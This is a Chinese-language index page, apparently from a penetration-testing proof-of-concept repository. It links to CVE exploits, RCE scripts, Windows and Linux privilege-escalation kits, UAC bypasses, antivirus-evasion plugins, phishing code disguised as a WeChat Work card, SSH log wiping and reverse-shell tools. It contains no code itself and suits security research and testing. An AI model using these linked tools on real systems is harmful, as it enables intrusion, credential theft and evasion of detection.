- [RedisWriteFile-通过 `Redis` 主从写出无损文件，可用于 `Windows` 平台下写出无损的 `EXE`、`DLL`、 `LNK` 和 `Linux` 下的 `OS` 等二进制文件](https://github.com/r35tart/RedisWriteFile)
- [WeblogicScanLot系列，Weblogic漏洞批量检测工具](./WeblogicScanLot)
- [jboss_CVE-2017-12149](./jboss_CVE-2017-12149)
- [Wordpress的拒绝服务（DoS）-CVE-2018-6389](./CVE-2018-6389)
- [Webmin Remote Code Execution (authenticated)-CVE-2019-15642](https://github.com/jas502n/CVE-2019-15642)
- [CVE-2019-16131 OKLite v1.2.25 任意文件上传漏洞](./CVE-2019-16131%20OKLite%20v1.2.25%20任意文件上传漏洞.md)
- [CVE-2019-16132 OKLite v1.2.25 存在任意文件删除漏洞](./CVE-2019-16132%20OKLite%20v1.2.25%20存在任意文件删除漏洞.md)
- [CVE-2019-16309 FlameCMS 3.3.5 后台登录处存在sql注入漏洞](./CVE-2019-16309%20FlameCMS%203.3.5%20后台登录处存在sql注入漏洞.md)
- [CVE-2019-16314 indexhibit cms v2.1.5 存在重装并导致getshell](./CVE-2019-16314%20indexhibit%20cms%20v2.1.5%20存在重装并导致getshell.md)
- [泛微OA管理系统RCE漏洞利用脚本](./泛微OA管理系统RCE漏洞利用脚本.md)
- [CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit](./CVE-2019-16759%20vBulletin%205.x%200day%20pre-auth%20RCE%20exploit.md)
- [zentao-getshell 禅道8.2 - 9.2.1前台Getshell](./zentao-getshell)
- [泛微 e-cology OA 前台SQL注入漏洞](./泛微%20e-cology%20OA%20前台SQL注入漏洞.md)
- [Joomla-3.4.6-RCE](./Joomla-3.4.6-RCE.md)
- [Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)](./Easy%20File%20Sharing%20Web%20Server%207.2%20-%20GET%20缓冲区溢出%20(SEH).md)
- [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md)
- [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md)
- [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md)
- [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043)
- [ThinkCMF漏洞全集和](./ThinkCMF漏洞全集和.md)
- [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md)
- [ecologyExp.jar-泛微ecology OA系统数据库配置文件读取](./tools/ecologyExp.jar)
- [freeFTP1.0.8-'PASS'远程缓冲区溢出](./freeFTP1.0.8-'PASS'远程缓冲区溢出.md)
- [rConfig v3.9.2 RCE漏洞](./rConfig%20v3.9.2%20RCE漏洞.md)
- [apache_solr_rce](./solr_rce.md)
- [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md)
- [Apache Flink任意Jar包上传导致远程代码执行](https://github.com/LandGrey/flink-unauth-rce)
- [用于检测JSON接口令牌安全性测试](https://github.com/ticarpi/jwt_tool)
- [cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC](cve-2019-17424%20nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md)
- [CVE-2019-12409_Apache_Solr RCE](https://github.com/jas502n/CVE-2019-12409)
- [Shiro RCE (Padding Oracle Attack)](https://github.com/wuppp/shiro_rce_exp)
- [CVE-2019-19634-class.upload.php <= 2.0.4任意文件上传](https://github.com/jra89/CVE-2019-19634)
- [Apache Solr RCE via Velocity Template Injection](./Apache%20Solr%20RCE%20via%20Velocity%20Template%20Injection.md)
- [CVE-2019-10758-mongo-express before 0.54.0 is vulnerable to Remote Code Execution ](https://github.com/masahiro331/CVE-2019-10758/)
- [CVE-2019-2107-Android播放视频-RCE-POC(Android 7.0版本，7.1.1版本，7.1.2版本，8.0版本，8.1版本，9.0版本)](https://github.com/marcinguy/CVE-2019-2107)
- [CVE-2019-19844-Django重置密码漏洞(受影响版本:Django master branch,Django 3.0,Django 2.2,Django 1.11)](https://github.com/ryu22e/django_cve_2019_19844_poc/)
- [CVE-2019-17556-unsafe-deserialization-in-apache-olingo(Apache Olingo反序列化漏洞，影响: 4.0.0版本至4.6.0版本)](https://medium.com/bugbountywriteup/cve-2019-17556-unsafe-deserialization-in-apache-olingo-8ebb41b66817)
- [ZZCMS201910 SQL Injections](./ZZCMS201910%20SQL%20Injections.md)
- [WDJACMS1.5.2模板注入漏洞](./WDJACMS1.5.2模板注入漏洞.md)
- [CVE-2019-19781-Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway](https://github.com/projectzeroindia/CVE-2019-19781)
- [CVE-2019-19781.nse---use Nmap check Citrix ADC Remote Code Execution](https://github.com/cyberstruggle/DeltaGroup/tree/master/CVE-2019-19781)
- [Mysql Client 任意文件读取攻击链拓展](https://paper.seebug.org/1112/)
- [CVE-2020-5504-phpMyAdmin注入(需要登录)](https://xz.aliyun.com/t/7092)
- [CVE-2020-5509-Car Rental Project 1.0版本中存在远程代码执行漏洞](https://github.com/FULLSHADE/CVE-2020-5509-POC)
- [CryptoAPI PoC CVE-2020-0601](https://github.com/kudelskisecurity/chainoffools/blob/master/README.md)|[另一个PoC for CVE-2020-0601](https://github.com/ollypwn/CVE-2020-0601)
- [New Weblogic RCE (CVE-2020-2546、CVE-2020-2551) CVE-2020-2546](https://mp.weixin.qq.com/s/Q-ZtX-7vt0JnjNbBmyuG0w)|[WebLogic WLS核心组件RCE分析（CVE-2020-2551）](https://www.anquanke.com/post/id/199695)|[CVE-2020-2551-Weblogic IIOP 反序列化EXP](https://github.com/Y4er/CVE-2020-2551)
- [CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC](https://github.com/motikan2010/CVE-2020-5398/)
- [PHPOK v5.3&v5.4getshell](https://www.anquanke.com/post/id/194453) | [phpok V5.4.137前台getshell分析](https://forum.90sec.com/t/topic/728) | [PHPOK 4.7从注入到getshell](https://xz.aliyun.com/t/1569)
- [thinkphp6 session 任意文件创建漏洞复现 含POC](./books/thinkphp6%20session%20任意文件创建漏洞复现%20含POC.pdf) --- 原文在漏洞推送公众号上
- [ThinkPHP 6.x反序列化POP链（一）](./books/ThinkPHP%206.x反序列化POP链（一）.pdf)|[原文链接](https://mp.weixin.qq.com/s/rEjt9zb-AksiVwF1GngFww)
- [ThinkPHP 6.x反序列化POP链（二）](./books/ThinkPHP%206.x反序列化POP链（二）.pdf)|[原文链接](https://mp.weixin.qq.com/s/q8Xa3triuXEB3NoeOgka1g)
- [ThinkPHP 6.x反序列化POP链（三）](./books/ThinkPHP%206.x反序列化POP链（三）.pdf)|[原文链接](https://mp.weixin.qq.com/s/PFNt3yF0boE5lR2KofghBg)
- [WordPress InfiniteWP - Client Authentication Bypass (Metasploit)](https://www.exploit-db.com/exploits/48047)
- [【Linux提权/RCE】OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution](https://www.exploit-db.com/exploits/48051)
- [CVE-2020-7471-django1.11-1.11.282.2-2.2.103.0-3.0.3 StringAgg(delimiter)使用了不安全的数据会造成SQL注入漏洞环境和POC](https://github.com/Saferman/CVE-2020-7471)
- [CVE-2019-17564 : Apache Dubbo反序列化漏洞](https://www.anquanke.com/post/id/198747)
- [CVE-2019-2725(CNVD-C-2019-48814、WebLogic wls9-async)](https://github.com/lufeirider/CVE-2019-2725)
- [YzmCMS 5.4 后台getshell](https://xz.aliyun.com/t/7231)
- 关于Ghostcat(幽灵猫CVE-2020-1938漏洞)：[CNVD-2020-10487(CVE-2020-1938), tomcat ajp 文件读取漏洞poc](https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC)|[Java版本POC](https://github.com/0nise/CVE-2020-1938)|[Tomcat-Ajp协议文件读取漏洞](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/)|[又一个python版本CVE-2020-1938漏洞检测](https://github.com/xindongzhuaizhuai/CVE-2020-1938)|[CVE-2020-1938-漏洞复现环境及EXP](https://github.com/laolisafe/CVE-2020-1938)
- [CVE-2020-8840：Jackson-databind远程命令执行漏洞（或影响fastjson）](https://github.com/jas502n/CVE-2020-8840)
- [CVE-2020-8813-Cacti v1.2.8 RCE远程代码执行 EXP以及分析（需要认证/或开启访客即可不需要登录）(一款Linux是基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具)](https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/)|[EXP](./CVE-2020-8813%20-%20Cacti%20v1.2.8%20RCE.md)|[CVE-2020-8813MSF利用脚本](https://www.exploit-db.com/exploits/48159)
- [CVE-2020-7246-PHP项目管理系统qdPM< 9.1 RCE](https://www.exploit-db.com/exploits/48146)
- [CVE-2020-9547：FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9547)
- [CVE-2020-9548：FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9548)
- [Apache ActiveMQ 5.11.1目录遍历/ Shell上传](https://cxsecurity.com/issue/WLB-2020030033)
- [CVE-2020-2555：WebLogic RCE漏洞POC](https://mp.weixin.qq.com/s/Wq6Fu-NlK8lzofLds8_zoA)|[CVE-2020-2555-Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE](https://github.com/Y4er/CVE-2020-2555)
- [CVE-2020-1947-Apache ShardingSphere UI YAML解析远程代码执行漏洞](https://github.com/jas502n/CVE-2020-1947)
- [CVE-2020-0554：phpMyAdmin后台SQL注入](./CVE-2020-0554：phpMyAdmin后台SQL注入.md)
- [泛微E-Mobile Ognl 表达式注入](./泛微e-mobile%20ognl注入.md)|[表达式注入.pdf](./books/表达式注入.pdf)
- [通达OA RCE漏洞](https://github.com/fuhei/tongda_rce)|[通达OAv11.6版本RCE复现分析+EXP](./books/通达OAv11.6版本漏洞复现分析.pdf)-[EXP下载](./tools/通达OA_v11.6_RCE_EXP.py)
- [CVE-2020-10673-jackson-databind JNDI注入导致远程代码执行](https://github.com/0nise/vuldebug)
- [CVE-2020-10199、CVE-2020-10204漏洞一键检测工具，图形化界面（Sonatype Nexus <3.21.1）](https://github.com/magicming200/CVE-2020-10199_CVE-2020-10204)
- [CVE-2020-2555-Oracle Coherence 反序列化漏洞](https://github.com/wsfengfan/CVE-2020-2555)|[分析文章](https://paper.seebug.org/1141/)
- [cve-2020-5260-Git凭证泄露漏洞](https://github.com/brompwnie/cve-2020-5260)
- [通达OA前台任意用户伪造登录漏洞批量检测](./通达OA前台任意用户伪造登录漏洞批量检测.md)
- [CVE-2020-11890 JoomlaRCE <3.9.17 远程命令执行漏洞(需要有效的账号密码)](https://github.com/HoangKien1020/CVE-2020-11890)
- [CVE-2020-10238【JoomlaRCE <= 3.9.15 远程命令执行漏洞(需要有效的账号密码)】&CVE-2020-10239【JoomlaRCE 3.7.0 to 3.9.15 远程命令执行漏洞(需要有效的账号密码)】](https://github.com/HoangKien1020/CVE-2020-10238)
- [CVE-2020-2546，CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 payload exploit poc python3](https://github.com/hktalent/CVE_2020_2546)|[CVE-2020-2883-Weblogic coherence.jar RCE](https://github.com/Y4er/CVE-2020-2883)|[WebLogic-Shiro-shell-WebLogic利用CVE-2020-2883打Shiro rememberMe反序列化漏洞，一键注册filter内存shell](https://github.com/Y4er/WebLogic-Shiro-shell)
- [tongda_oa_rce-通达oa 越权登录+文件上传getshell](https://github.com/clm123321/tongda_oa_rce)
- [CVE-2020-11651-SaltStack Proof of Concept【认证绕过RCE漏洞】](https://github.com/0xc0d/CVE-2020-11651)|[CVE-2020-11651&&CVE-2020-11652 EXP](https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP)
- [showdoc的api_page存在任意文件上传getshell](./showdoc的api_page存在任意文件上传getshell.md)
- [Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法](https://github.com/CaijiOrz/fastjson-1.2.47-RCE)
- [SpringBoot_Actuator_RCE](https://github.com/jas502n/SpringBoot_Actuator_RCE)
- [jizhicms(极致CMS)v1.7.1代码审计-任意文件上传getshell+sql注入+反射XSS](./books/jizhicms(极致CMS)v1.7.1代码审计引发的思考.pdf)
- [CVE-2020-9484：Apache Tomcat Session 反序列化代码执行漏洞](./tools/CVE-2020-9484.tgz)|[CVE-2020-9484：Apache Tomcat 反序列化RCE漏洞的分析和利用](https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/)
- [PHPOK 最新版漏洞组合拳 GETSHELL](./books/PHPOK最新版漏洞组合拳GETSHELL.pdf)
- [Apache Kylin 3.0.1命令注入漏洞](https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706)
- [weblogic T3 collections java InvokerTransformer Transformer InvokerTransformer weblogic.jndi.WLInitialContextFactory](https://github.com/hktalent/weblogic_java_des)
- [CVE-2020-5410 Spring Cloud Config目录穿越漏洞](https://xz.aliyun.com/t/7877)
- [NewZhan CMS 全版本 SQL注入（0day）](./books/NewZhan%20CMS%20全版本%20SQL注入（0day）.pdf)
- [盲注 or 联合？记一次遇见的奇葩注入点之SEMCMS3.9（0day）](./books/盲注%20or%20联合？记一次遇见的奇葩注入点之SEMCMS3.9（0day）.pdf)
- [从PbootCMS(2.0.3&2.0.7前台RCE+2.0.8后台RCE)审计到某狗绕过](./books/从PbootCMS(2.0.3&2.0.7前台RCE+2.0.8后台RCE)审计到某狗绕过.pdf)
- [CVE-2020-1948 : Apache Dubbo 远程代码执行漏洞](https://github.com/ctlyz123/CVE-2020-1948)
- [CVE-2020-5902-F5 BIG-IP 远程代代码执行（RCE）&任意文件包含读取](https://github.com/jas502n/CVE-2020-5902)|[CVE-2020-5902又一EXP加测试docker文件](https://github.com/superzerosec/cve-2020-5902)
- [CVE-2020-8193-Citrix未授权访问任意文件读取](https://github.com/jas502n/CVE-2020-8193)
- [通读审计之天目MVC_T框架带Home版(temmokumvc)_v2.01](./books/通读审计之天目MVC_T框架带Home版(temmokumvc)_v2.01.pdf)
- [CVE-2020-14645-WebLogic 远程代码执行漏洞](https://github.com/Y4er/CVE-2020-14645)|[Weblogic_CVE-2020-14645](https://github.com/DSO-Lab/Weblogic_CVE-2020-14645)
- [CVE-2020-6287-SAP NetWeaver AS JAVA 授权问题漏洞-创建用户EXP](https://github.com/duc-nt/CVE-2020-6287-exploit)|[SAP_RECON-PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)](https://github.com/chipik/SAP_RECON)
- [CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029-jenkins-rce](https://github.com/orangetw/awesome-jenkins-rce-2019)
- [CVE-2020-3452：Cisco ASA/FTD 任意文件读取漏洞](./CVE-2020-3452：Cisco_ASAFTD任意文件读取漏洞.md)
- [74CMS_v5.0.1后台RCE分析](./books/74CMS_v5.0.1后台RCE分析.pdf)
- [CVE-2020-8163 - Remote code execution of user-provided local names in Rails](https://github.com/sh286/CVE-2020-8163)
- [【0day RCE】Horde Groupware Webmail Edition RCE](./%E3%80%900day%20RCE%E3%80%91Horde%20Groupware%20Webmail%20Edition%20RCE.md)
## <span id="head5"> 提权辅助相关</span>
- [windows-kernel-exploits Windows平台提权漏洞集合](https://github.com/SecWiki/windows-kernel-exploits)
- [windows 溢出提权小记](https://klionsec.github.io/2017/04/22/win-0day-privilege/)/[本地保存了一份+Linux&Windows提取脑图](./tools/Local%20Privilege%20Escalation.md)
- [Windows常见持久控制脑图](./tools/Windows常见持久控制.png)
- [CVE-2019-0803 Win32k漏洞提权工具](./CVE-2019-0803)
- [脏牛Linux提权漏洞](https://github.com/Brucetg/DirtyCow-EXP)
- [远控免杀从入门到实践之白名单（113个）](https://github.com/TideSec/BypassAntiVirus)|[远控免杀从入门到实践之白名单（113个）总结篇.pdf](./books/远控免杀从入门到实践之白名单（113个）总结篇.pdf)
- [Linux提权-CVE-2019-13272 A linux kernel Local Root Privilege Escalation vulnerability with PTRACE_TRACEME](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272-aarch64)
- [Linux权限提升辅助一键检测工具](https://github.com/mzet-/linux-exploit-suggester)
- [将powershell脚本直接注入到进程中执行来绕过对powershell.exe的限制](https://github.com/EmpireProject/PSInject)
- [CVE-2020-2696 – Local privilege escalation via CDE dtsession](https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtsession_ipa.c)
- [CVE-2020-0683-利用Windows MSI “Installer service”提权](https://github.com/padovah4ck/CVE-2020-0683/)
- [Linux sudo提权辅助工具—查找sudo权限配置漏洞](https://github.com/TH3xACE/SUDO_KILLER)
- [Windows提权-CVE-2020-0668：Windows Service Tracing本地提权漏洞](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668)
- [Linux提取-Linux kernel XFRM UAF poc (3.x - 5.x kernels)2020年1月前没打补丁可测试](https://github.com/duasynt/xfrm_poc)
- [linux-kernel-exploits Linux平台提权漏洞集合](https://github.com/SecWiki/linux-kernel-exploits)
- [Linux提权辅助检测Perl脚本](https://github.com/jondonas/linux-exploit-suggester-2)|[Linux提权辅助检测bash脚本](https://github.com/mzet-/linux-exploit-suggester)
- [CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost](https://github.com/danigargu/CVE-2020-0796)|[【Windows提取】Windows SMBv3 LPE exploit 已编译版.exe](https://github.com/f1tz/CVE-2020-0796-LPE-EXP)|[SMBGhost_RCE_PoC-远程代码执行EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)|[Windows_SMBv3_RCE_CVE-2020-0796漏洞复现](./books/Windows_SMBv3_RCE_CVE-2020-0796漏洞复现.pdf)
- [getAV---windows杀软进程对比工具单文件版](./tools/getAV/)
- [【Windows提权工具】Windows 7 to Windows 10 / Server 2019](https://github.com/CCob/SweetPotato)|[搭配CS的修改版可上线system权限的session](https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato)
- [【Windows提权工具】SweetPotato修改版，用于webshell下执行命令](https://github.com/uknowsec/SweetPotato)|[本地编译好的版本](./tools/SweetPotato.zip)|[点击下载或右键另存为](https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/SweetPotato.zip)|[SweetPotato_webshell下执行命令版.pdf](./books/SweetPotato_webshell下执行命令版.pdf)
- [【bypass UAC】Windows 8.1 and 10 UAC bypass abusing WinSxS in "dccw.exe"](https://github.com/L3cr0f/DccwBypassUAC/)
- [【Windows提权】CVE-2018-8120 Exploit for Win2003 Win2008 WinXP Win7](https://github.com/alpha1ab/CVE-2018-8120)
- [【Windows提权 Windows 10&Server 2019】PrintSpoofer-Abusing Impersonation Privileges on Windows 10 and Server 2019](https://github.com/itm4n/PrintSpoofer)|[配合文章食用-pipePotato复现](./books/pipePotato复现.pdf)|[Windows 权限提升 BadPotato-已经在Windows 2012-2019 8-10 全补丁测试成功](https://github.com/BeichenDream/BadPotato)
- [【Windows提权】Windows 下的提权大合集](https://github.com/lyshark/Windows-exploits)
- [【Windows提权】-CVE-2020-1048 | PrintDemon本地提权漏洞-漏洞影响自1996年以来发布(Windows NT 4)的所有Windows版本](https://github.com/ionescu007/PrintDemon)
- [【Windows bypass UAC】UACME-一种集成了60多种Bypass UAC的方法](https://github.com/hfiref0x/UACME)
- [CVE-2020–1088： Windows wersvc.dll 任意文件删除本地提权漏洞分析](https://medium.com/csis-techblog/cve-2020-1088-yet-another-arbitrary-delete-eop-a00b97d8c3e2)
- [【Windows提权】CVE-2019-0863-Windows中错误报告机制导致的提权-EXP](https://github.com/sailay1996/WerTrigger)
- [【Windows提权】CVE-2020-1066-EXP](https://github.com/cbwang505/CVE-2020-1066-EXP)
- [【Windows提权】CVE-2020-0787-EXP-ALL-WINDOWS-VERSION-适用于Windows所有版本的提权EXP](https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)
- [【Windows提权】CVE-2020-1054-Win32k提权漏洞Poc](https://github.com/0xeb-bp/cve-2020-1054)|[CVE-2020-1054-POC](https://github.com/Iamgublin/CVE-2020-1054)
- [【Linux提权】对Linux提权的简单总结](./books/对Linux提权的简单总结.pdf)
- [【Windows提权】wesng-Windows提权辅助脚本](https://github.com/bitsadmin/wesng)
- [【Windows提权】dazzleUP是一款用来帮助渗透测试人员进行权限提升的工具，可以在window系统中查找脆弱面进行攻击。工具包括两部分检查内容，exploit检查和错误配置检查。](https://github.com/hlldz/dazzleUP)
## <span id="head6"> PC</span>
- [ 微软RDP远程代码执行漏洞（CVE-2019-0708）](./BlueKeep)
- [CVE-2019-0708-python版](./BlueKeep/bluekeep-CVE-2019-0708-python)
- [MS17-010-微软永恒之蓝漏洞](https://github.com/Mr-xn/MS17-010)
- [macOS-Kernel-Exploit](./macOS-Kernel-Exploit)
- [CVE-2019-1388 UAC提权 (nt authority\system)](https://github.com/jas502n/CVE-2019-1388)
- [CVE-2019-1405和CVE-2019-1322：通过组合漏洞进行权限提升 Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation](https://github.com/apt69/COMahawk)
- [CVE-2019-11708](https://github.com/0vercl0k/CVE-2019-11708)
- [Telegram(macOS v4.9.155353) 代码执行漏洞](https://github.com/Metnew/telegram-links-nsworkspace-open)
- [Remote Desktop Gateway RCE bugs CVE-2020-0609 & CVE-2020-0610](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/)
- [Microsoft SharePoint - Deserialization Remote Code Execution](https://github.com/Voulnet/desharialize/blob/master/desharialize.py)
- [CVE-2020-0728-Windows Modules Installer Service 信息泄露漏洞](https://github.com/irsl/CVE-2020-0728/)
- [CVE-2020-0618: 微软 SQL Server Reporting Services远程代码执行（RCE）漏洞](https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/)|[GitHub验证POC(其实前文的分析文章也有)](https://github.com/euphrat1ca/CVE-2020-0618)
- [CVE-2020-0767Microsoft ChakraCore脚本引擎【Edge浏览器中的一个开源的ChakraJavaScript脚本引擎的核心部分】安全漏洞](https://github.com/phoenhex/files/blob/master/pocs/cve-2020-0767.js)
- [CVE-2020-0688：微软EXCHANGE服务的远程代码执行漏洞](https://github.com/random-robbie/cve-2020-0688)|[CVE-2020-0688_EXP---另一个漏洞检测利用脚本](https://github.com/Yt1g3r/CVE-2020-0688_EXP)|[又一个cve-2020-0688利用脚本](https://github.com/Ridter/cve-2020-0688)|[Exploit and detect tools for CVE-2020-0688](https://github.com/zcgonvh/CVE-2020-0688)
- [CVE-2020-0674: Internet Explorer远程代码执行漏洞检测](https://github.com/binaryfigments/CVE-2020-0674)
- [CVE-2020-8794: OpenSMTPD 远程命令执行漏洞](./CVE-2020-8794-OpenSMTPD%20远程命令执行漏洞.md)
- [Linux平台-CVE-2020-8597: PPPD 远程代码执行漏洞](https://github.com/marcinguy/CVE-2020-8597)
- [Windows-CVE-2020-0796：疑似微软SMBv3协议“蠕虫级”漏洞](https://cert.360.cn/warning/detail?id=04f6a686db24fcfa478498f55f3b79ef)|[相关讨论](https://linustechtips.com/main/topic/1163724-smbv3-remote-code-execution-cve-2020-0796/)|[CVE-2020–0796检测与修复](CVE-2020-0796检测与修复.md)|[又一个CVE-2020-0796的检测工具-可导致目标系统崩溃重启](https://github.com/eerykitty/CVE-2020-0796-PoC)
- [SMBGhost_RCE_PoC（CVE-2020-0796）](https://github.com/chompie1337/SMBGhost_RCE_PoC)
- [WinRAR 代码执行漏洞 (CVE-2018-20250)-POC](https://github.com/Ridter/acefile)|[相关文章](https://research.checkpoint.com/2019/extracting-code-execution-from-winrar/)|[全网筛查 WinRAR 代码执行漏洞 (CVE-2018-20250)](https://xlab.tencent.com/cn/2019/02/22/investigating-winrar-code-execution-vulnerability-cve-2018-20250-at-internet-scale/)
- [windows10相关漏洞EXP&POC](https://github.com/nu11secur1ty/Windows10Exploits)
- [shiro rce 反序列 命令执行 一键工具](https://github.com/wyzxxz/shiro_rce)
- [CVE-2019-1458-Win32k中的特权提升漏洞【shell可用-Windows提取】](https://github.com/unamer/CVE-2019-1458)
- [CVE-2019-1253-Windows权限提升漏洞-AppXSvc任意文件安全描述符覆盖EoP的另一种poc](https://github.com/sgabe/CVE-2019-1253)|[CVE-2019-1253](https://github.com/padovah4ck/CVE-2019-1253)
- [BypassAV【免杀】Cobalt Strike插件，用于快速生成免杀的可执行文件](https://github.com/hack2fun/BypassAV)
- [CVE-2020-0674：Internet Explorer UAF 漏洞exp【在64位的win7测试了IE 8, 9, 10, and 11】](https://github.com/maxpl0it/CVE-2020-0674-Exploit)
- [SMBGhost_AutomateExploitation-SMBGhost (CVE-2020-0796) Automate Exploitation and Detection](https://github.com/Barriuso/SMBGhost_AutomateExploitation)
- [MS Windows OLE 远程代码执行漏洞(CVE-2020-1281)](https://github.com/guhe120/Windows-EoP/tree/master/CVE-2020-1281)
- [CVE-2020-1350-Windows的DNS服务器RCE检测的powershell脚本](https://github.com/T13nn3s/CVE-2020-1350)|[CVE-2020-1350-DoS](https://github.com/maxpl0it/CVE-2020-1350-DoS)
- [CVE-2020-1362-Microsoft Windows WalletService权限提升漏洞](https://github.com/Q4n/CVE-2020-1362)
- [CVE-2020-10713-GRUB2 本地代码执行漏洞](https://github.com/eclypsium/BootHole)
- [CVE-2020-1313-Microsoft Windows Update Orchestrator Service权限提升漏洞，可用于Windows提权操作，支持新版的Windows server 2004](https://github.com/irsl/CVE-2020-1313)
- [CVE-2020-1337-exploit-Windows 7/8/10上Print Spooler组件漏洞修复后的绕过](https://github.com/math1as/CVE-2020-1337-exploit/)|[cve-2020-1337-poc](https://github.com/sailay1996/cve-2020-1337-poc)
## <span id="head7"> tools-小工具集版本合</span>
- [java环境下任意文件下载情况自动化读取源码的小工具](https://github.com/Artemis1029/Java_xmlhack)
- [Linux SSH登录日志清除/伪造](./tools/ssh)
- [python2的socks代理](./tools/s5.py)
- [dede_burp_admin_path-dedecms后台路径爆破(Windows环境)](./tools/dede_burp_admin_path.md)
- [PHP 7.1-7.3 disable_functions bypass](./tools/PHP%207.1-7.3%20disable_functions%20bypass.md)
- [一个各种方式突破Disable_functions达到命令执行的shell](https://github.com/l3m0n/Bypass_Disable_functions_Shell)
- [【PHP】bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD)
- [另一个bypass PHP的disable_functions](https://github.com/mm0r1/exploits)
- [cmd下查询3389远程桌面端口](./tools/cmd下查询3389远程桌面端口.md)
- [伪装成企业微信名片的钓鱼代码](./tools/伪装成企业微信名片的钓鱼代码.txt)
- [vbulletin5-rce利用工具(批量检测/getshell)](https://github.com/theLSA/vbulletin5-rce)/[保存了一份源码:vbulletin5-rce.py](./tools/vbulletin5-rce.py)
- [CVE-2017-12615](./tools/CVE-2017-12615.py)
- [通过Shodan和favicon icon发现真实IP地址](https://github.com/pielco11/fav-up)
- [Cobalt_Strike扩展插件](./tools/Cobalt_Strike扩展插件.md)
- [Windows命令行cmd的空格替换](./tools/Windows命令行cmd的空格替换.md)
- [绕过disable_function汇总](./tools/绕过disable_function汇总.md)
- [WAF Bypass](https://chybeta.gitbooks.io/waf-bypass/content/)
- [命令注入总结](./tools/命令注入总结.md)
- [隐藏wifi-ssid获取 · theKingOfNight's Blog](./books/隐藏wifi-ssid获取%20·%20theKingOfNight's%20Blog.pdf)
- [crt.sh证书/域名收集](./tools/crt.sh证书收集.py)
- [TP漏洞集合利用工具py3版本-来自奇安信大佬Lucifer1993](https://github.com/Mr-xn/TPscan)
- [Python2编写的struts2漏洞全版本检测和利用工具-来自奇安信大佬Lucifer1993](https://github.com/Mr-xn/struts-scan)
- [sqlmap_bypass_D盾_tamper](./tools/sqlmap_bypass_D盾_tamper.py)
- [sqlmap_bypass_安全狗_tamper](./tools/sqlmap_bypass_安全狗_tamper.py)
- [sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper](./tools/sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper.py)
- [sqlmap_bypass_云锁_tamper](./tools/sqlmap_bypass_云锁_tamper.py)
- [masscan+nmap扫描脚本](./tools/masscan%2Bnmap.py)
- [PHP解密扩展](https://github.com/Albert-Zhan/php-decrypt)
- [linux信息收集/应急响应/常见后门检测脚本](https://github.com/al0ne/LinuxCheck)
- [RdpThief-从远程桌面客户端提取明文凭据辅助工具](https://github.com/0x09AL/RdpThief)
- [使用powershell或CMD直接运行命令反弹shell](https://github.com/ZHacker13/ReverseTCPShell)
- [FTP/SSH/SNMP/MSSQL/MYSQL/PostGreSQL/REDIS/ElasticSearch/MONGODB弱口令检测](https://github.com/netxfly/x-crack)
- [GitHack-.git泄露利用脚本](https://github.com/lijiejie/GitHack)
- [GitHacker---比GitHack更好用的git泄露利用脚本](https://github.com/WangYihang/GitHacker)
- [SVN源代码泄露全版本Dump源码](https://github.com/admintony/svnExploit)
- [多进程批量网站备份文件扫描](https://github.com/sry309/ihoneyBakFileScan)
- [Empire](https://github.com/BC-SECURITY/Empire/)|相关文章:[后渗透测试神器Empire详解](https://mp.weixin.qq.com/s/xCtkoIwVomx5f8hVSoGKpA)
- [FOFA Pro view 是一款FOFA Pro 资产展示浏览器插件，目前兼容 Chrome、Firefox、Opera](https://github.com/0nise/fofa_view)
